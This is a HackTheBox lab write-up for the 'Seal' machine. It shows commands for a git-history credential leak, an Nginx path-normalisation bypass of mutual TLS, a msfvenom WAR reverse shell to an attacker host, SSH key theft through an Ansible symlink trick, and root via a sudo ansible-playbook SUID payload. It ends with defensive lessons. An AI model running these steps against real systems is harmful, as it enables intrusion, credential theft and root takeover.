HTB: Seal Writeup
Seal - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Seal |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 10 Jul 2021 |
| IP Address | 10.10.10.250 |
| Author | MrR3boot |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Seal is a Medium-difficulty Linux machine demonstrating realistic enterprise misconfigurations. The attack surface features a GitBucket instance leaking Tomcat manager credentials through git history, an Nginx reverse proxy with a path normalization vulnerability enabling mutual-authentication bypass, and privilege escalation through Ansible playbook abuse. The machine emphasizes source-code review, HTTP normalization attacks, and automation framework exploitation—all techniques prevalent in real-world penetration tests.
TL;DR: GitBucket credential leak → Nginx path normalization bypass (/manager/test/..;/html) → Tomcat manager WAR deployment → RCE as tomcat → Ansible copy_links=yes symlink attack → SSH as luis → sudo ansible-playbook arbitrary command execution → root.
Reconnaissance
Port Scanning
# Initial TCP SYN scan for all portsnmap -p- --min-rate=1000 -T4 10.10.10.250
# Detailed service/version enumeration on discovered portsnmap -p22,443,8080 -sV -sC 10.10.10.250Results:
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 8.2p1 Ubuntu |
| 443/tcp | HTTPS | nginx 1.18.0 (Ubuntu) |
| 8080/tcp | HTTP | nginx 1.18.0 (proxying GitBucket) |
Service Enumeration
Port 443 (HTTPS - E-commerce Application)
The HTTPS service hosts what appears to be a static e-commerce site titled “Seal Market.” Directory enumeration reveals several Tomcat-related endpoints:
# Directory fuzzingffuf -u https://10.10.10.250/FUZZ -w /usr/share/wordlists/dirb/common.txtDiscovered paths:
/admin→ 404 Not Found/admin/dashboard→ 403 Forbidden (mutual authentication required)/manager→ 403 Forbidden/manager/html→ 403 Forbidden/host-manager→ 403 Forbidden
All manager endpoints return HTTP 403, indicating access control is enforced at the reverse proxy level.
Port 8080 (GitBucket)
GitBucket is an open-source Git platform written in Scala. Default credentials (root:root) fail, but the platform allows public registration. After creating an account, two repositories are visible with read access:
- infra - Ansible playbooks for Tomcat configuration
- seal_market - E-commerce application source code
Vulnerability Assessment
1. Git History Credential Leak
Cloning the root/seal_market repository and reviewing commit history:
# Clone the repositorygit clone http://10.10.10.250:8080/git/root/seal_market.gitcd seal_market
# Review commit historygit log --onelineOne commit in the tomcat/tomcat-users.xml file reveals hardcoded Tomcat manager credentials before they were removed in a subsequent commit:
<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>Credentials discovered: tomcat:42MrHBf*z8{Z%
2. Nginx Mutual Authentication Configuration
Examining nginx/sites-enabled/default in the git repository shows mutual TLS authentication is enforced for sensitive endpoints:
location /admin/dashboard { if ($ssl_client_verify != SUCCESS) { return 403; } # ...}
location /manager/html { if ($ssl_client_verify != SUCCESS) { return 403; } # ...}Why this matters: The configuration checks $ssl_client_verify to enforce client certificate validation. Without a valid certificate, access is denied with HTTP 403.
3. Nginx Path Normalization Vulnerability
Nginx and Tomcat handle URL paths differently. When Nginx proxies requests to Tomcat:
- Nginx parses paths literally:
/manager/test/..;/htmlis treated as a unique path - Tomcat normalizes paths:
/manager/test/..;/htmlresolves to/manager/html
This discrepancy creates an authentication bypass:
Request: /manager/test/..;/htmlNginx: Path doesn't match "/manager/html" → No cert check required → PASSTomcat: Path resolves to "/manager/html" → Serve manager interface → ACCESS GRANTEDAlternative bypass patterns:
/manager;foo=bar/html/manager/test/../;/html
Initial Foothold
Exploiting Nginx Path Normalization for Mutual Auth Bypass
First, verify the bypass works on the admin dashboard:
# Direct access failscurl -k https://10.10.10.250/admin/dashboard# HTTP 403 Forbidden
# Bypass using path normalizationcurl -k https://10.10.10.250/admin;foo=bar/dashboard# HTTP 200 OK - Dashboard HTML returnedThe same technique grants access to Tomcat Manager:
# Access Tomcat Manager GUI with bypassed authenticationcurl -k -u 'tomcat:42MrHBf*z8{Z%' https://10.10.10.250/manager/test/..;/htmlWhy this works:
- Nginx doesn’t recognize
/manager/test/..;/htmlas matching the protected/manager/htmlpattern - Request bypasses the
$ssl_client_verifycheck - Nginx forwards the request to backend Tomcat
- Tomcat normalizes the path to
/manager/htmland serves the Manager application - HTTP Basic Auth (
tomcat:42MrHBf*z8{Z%) authenticates successfully
Deploying a Web Shell via Manager GUI
The discovered tomcat user has manager-gui role but lacks manager-script role, preventing the use of the /manager/text/deploy API endpoint. Instead, we use the HTML upload form.
# Generate a JSP web shell packaged as WARmsfvenom -p java/jsp_shell_reverse_tcp \ LHOST=10.10.14.2 \ LPORT=4444 \ -f war \ -o shell.war
# Note: Due to /tmp being full on the jump box, working from /dev/shmexport TMPDIR=/dev/shmUpload steps:
- Navigate to
https://10.10.10.250/manager/test/..;/htmlin a browser - Authenticate with
tomcat:42MrHBf*z8{Z% - Locate the “WAR file to deploy” section
- Browse to
shell.warand click “Deploy” - Intercept the request in Burp Suite
- Modify the POST path from
/manager/htmlto/manager/test/..;/html - Forward the request
Why the path bypass is required during upload:
The POST request to deploy the WAR also needs to bypass mutual authentication. Without modifying the path, Nginx would reject the deployment request with HTTP 403.
Trigger the shell:
# Start listenernc -lvnp 4444
# Trigger shell executioncurl -k https://10.10.10.250/shell/Shell obtained as tomcat user:
# Upgrade to full TTYpython3 -c 'import pty;pty.spawn("/bin/bash")'# Press Ctrl+Zstty raw -echo; fgexport TERM=xterm
tomcat@seal:/var/lib/tomcat9$Privilege Escalation
Phase 1: Lateral Movement to luis via Ansible Copy_Links Abuse
Discovery: Ansible Backup Playbook
Enumerating the filesystem reveals an interesting directory structure:
tomcat@seal:/opt$ ls -ladrwxr-xr-x 4 root root 4096 May 7 2021 backups
tomcat@seal:/opt/backups$ ls -ladrwxr-xr-x 2 root root 4096 Nov 9 12:34 archivesdrwxrwxr-x 3 root root 4096 Nov 9 12:32 files
# Playbook configurationtomcat@seal:/opt/backups$ cat playbook.ymlPlaybook contents:
- hosts: localhost tasks: - name: Copy Files synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups archive: path: /opt/backups/files/ dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}{{ansible_date_time.time}}.gz"
- name: Clean file: state: absent path: /opt/backups/files/Vulnerability: Ansible copy_links=yes Parameter
The synchronize module’s copy_links=yes parameter instructs Ansible to follow symlinks and copy the target file contents rather than the symlink itself. According to Ansible documentation:
Copy symlinks as the item that they point to (the referent) is copied, rather than the symlink.
Attack vector:
- The playbook copies from
/var/lib/tomcat9/webapps/ROOT/admin/dashboard(source) - Archives run approximately every 2 minutes and are owned by
luis - The
uploads/subdirectory within dashboard is world-writable - We can place a symlink pointing to sensitive files (e.g., SSH keys)
- Ansible will follow the symlink and include the target file’s contents in the archive
Exploitation: Symlink Attack for SSH Key Extraction
# Verify upload directory permissionstomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ls -ladrwxrwxrwx 2 root root 4096 Nov 9 12:30 uploads
# Create symlink to luis's SSH private keycd /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploadsln -s /home/luis/.ssh/id_rsa id_rsa
# Wait ~2 minutes for Ansible cron job to execute# Monitor for new archive with different sizetomcat@seal:/opt/backups/archives$ ls -lh-rw-r--r-- 1 luis luis 2.8K Nov 9 12:32 backup-2021-11-0912:32:45.gz-rw-r--r-- 1 luis luis 3.1K Nov 9 12:34 backup-2021-11-0912:34:22.gz # Larger = contains keyExtract the private key:
# Copy to writable location (using /dev/shm due to /tmp being full)cp /opt/backups/archives/backup-2021-11-0912:34:22.gz /dev/shm/
# Extract archivecd /dev/shmtar -xzf backup-2021-11-0912:34:22.gz
# Locate extracted keycd dashboard/uploadscat id_rsaSSH as luis:
# Copy private key to attack machine# Save as luis_id_rsachmod 600 luis_id_rsa
# SSH connectionssh -i luis_id_rsa luis@10.10.10.250
luis@seal:~$ cat user.txt<redacted>User flag obtained.
Phase 2: Privilege Escalation to Root via Sudo Ansible-Playbook
Sudo Enumeration
luis@seal:~$ sudo -lMatching Defaults entries for luis on seal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal: (ALL) NOPASSWD: /usr/bin/ansible-playbook *Interpretation: The user luis can execute /usr/bin/ansible-playbook as root without a password, with a wildcard allowing any playbook file as an argument.
Method 1: Command Execution via Playbook (Primary Method)
Create a malicious playbook that sets the SUID bit on /bin/bash:
luis@seal:/dev/shm$ cat << 'EOF' > privesc.yml---- name: "Privilege Escalation" hosts: localhost connection: local tasks: - name: "Set SUID on bash" shell: "chmod u+s /bin/bash" register: "output" - debug: var=output.stdout_linesEOF
# Execute playbook as rootluis@seal:/dev/shm$ sudo /usr/bin/ansible-playbook privesc.ymlPlaybook execution output:
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [Privilege Escalation] ****************************************************
TASK [Gathering Facts] *********************************************************ok: [localhost]
TASK [Set SUID on bash] ********************************************************changed: [localhost]
TASK [debug] *******************************************************************ok: [localhost] => { "output.stdout_lines": []}
PLAY RECAP *********************************************************************localhost : ok=3 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0Verify SUID bit and spawn root shell:
luis@seal:/dev/shm$ ls -la /bin/bash-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
# Execute bash with preserved privileges (-p flag)luis@seal:/dev/shm$ /bin/bash -p
bash-5.0# iduid=1000(luis) gid=1000(luis) euid=0(root) groups=1000(luis)
bash-5.0# cat /root/root.txt<redacted>Root flag obtained.
Method 2: Arbitrary File Read (Alternative)
Ansible-playbook validates YAML syntax before execution. Providing a non-playbook file as input causes an error that leaks file contents:
luis@seal:~$ sudo /usr/bin/ansible-playbook /root/root.txt
ERROR! A playbook must be a list of plays, got a <class 'str'> insteadThe error appears to be in '/root/root.txt': line 1, column 1, but maybe elsewhere in the file depending on the exact syntax problem.
<redacted> # Root flag leaked in error messageWhy this works: Ansible attempts to parse the file as YAML and includes file contents in error messages when parsing fails. This constitutes an arbitrary file read vulnerability when sudo access to ansible-playbook is granted.
Attack Chain Summary
Port 8080 GitBucket (Public Registration) ↓Clone seal_market Repository ↓Git Log Enumeration → Tomcat Credentials (tomcat:42MrHBf*z8{Z%') ↓Nginx Config Review → Mutual Auth on /manager/html ↓Nginx Path Normalization Bypass (/manager/test/..;/html) ↓Tomcat Manager GUI Access (manager-gui role) ↓Deploy JSP Web Shell via HTML Upload (WAR file) ↓RCE as tomcat user ↓Discover Ansible Playbook (/opt/backups/playbook.yml) ↓Exploit copy_links=yes → Symlink to /home/luis/.ssh/id_rsa ↓Extract Private Key from Archive ↓SSH as luis → user.txt ↓sudo -l → ansible-playbook with NOPASSWD ↓Malicious Playbook → chmod u+s /bin/bash ↓Execute /bin/bash -p → euid=0 → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ffuf | Web directory fuzzing |
git | Repository cloning and commit history analysis |
msfvenom | Malicious WAR payload generation |
curl | HTTP request testing and path normalization validation |
| Burp Suite | HTTP request interception and modification |
nc | Reverse shell listener |
ansible-playbook | Privilege escalation via sudo abuse |
Key Learnings
Techniques Practiced
- Git history enumeration for credential discovery in application source code repositories
- Nginx path normalization exploitation to bypass reverse proxy access controls
- HTTP normalization discrepancies between proxy (Nginx) and backend (Tomcat) servers
- Tomcat Manager exploitation via GUI-based WAR deployment when API access is restricted
- Ansible module abuse: exploiting
copy_links=yesparameter for arbitrary file read via symlink attacks - Sudo privilege escalation through command injection in trusted automation tools
Lessons Learned
-
Never commit secrets to version control. Even if credentials are removed in subsequent commits, they remain accessible in git history. Use tools like
git-secretsortruffleHogto scan repositories before pushing. -
Path normalization must be consistent across the stack. When a reverse proxy performs authentication checks, the backend application must parse URLs identically. Discrepancies create authentication bypasses. Use a single normalization standard or implement defense-in-depth with backend authentication.
-
Mutual TLS enforcement requires careful Nginx configuration. The
ifdirective in Nginx location blocks is processed at the rewrite phase, before backend proxying. This creates opportunities for bypasses if path matching is not strict. Consider usinglocationblock inheritance or nginx-lua for robust certificate enforcement. -
File operation automation tools require hardening. Ansible’s
copy_links=yesis a dangerous feature when the source directory has permissive write access. World-writable directories should never be included in automated file operations with elevated privileges. -
Wildcard sudo entries are rarely justified. The rule
(ALL) NOPASSWD: /usr/bin/ansible-playbook *allows arbitrary code execution as root. If automation requires sudo, restrict to specific playbook files:(ALL) NOPASSWD: /usr/bin/ansible-playbook /opt/scripts/specific-playbook.yml -
Defense considerations:
- Implement file integrity monitoring (FIM) on critical directories like
/opt/backupsand webroot paths - Use SELinux or AppArmor to restrict automation job capabilities
- Audit sudo configurations regularly with tools like
sudo-audit - Deploy mutual TLS at the application layer, not just the reverse proxy
- Implement file integrity monitoring (FIM) on critical directories like
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup references the official HackTheBox documentation for Seal (Document No. D21.100.141) prepared by MrR3boot for conceptual explanations of the Nginx path normalization vulnerability and Ansible module behavior.